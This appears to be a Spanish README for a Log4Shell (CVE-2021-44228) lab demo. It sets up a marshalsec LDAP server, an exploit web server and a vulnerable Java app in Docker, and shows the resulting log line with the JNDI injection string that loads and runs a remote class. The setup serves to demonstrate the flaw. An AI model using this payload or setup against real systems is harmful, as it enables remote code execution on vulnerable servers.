CVE-2021-44228_Example
Ejecuta cada una de las 3 secciones en una pestaña/consola separada
docker build -t marshalsec marshalsec/.
docker run -it --rm -p 1389:1389 --add-host=host.docker.internal:172.17.0.1 --name marshalsec marshalsec
El servidor web del exploit
docker build -t exploit ./exploit
docker run -it --rm -p 8888:8888 --add-host=host.docker.internal:172.17.0.1 --name exploit exploit
La aplicación Java conejillo de indias (ejecutando versiones vulnerables de Java y Log4J)
docker build -t guinea_pig guinea_pig/.
docker run -it --rm --add-host=host.docker.internal:172.17.0.1 --name guinea_pig guinea_pig
Al ejecutar guinea_pig deberías ver lo siguiente en el registro:
PWND!
[main] ERROR gp.GuineaPig - ${jndi:ldap://host.docker.internal:1389/#Exploit}
"PWND!" se registra desde una clase inyectada externamente (Exploit)
chilliwebs/cve-2021-44228_example
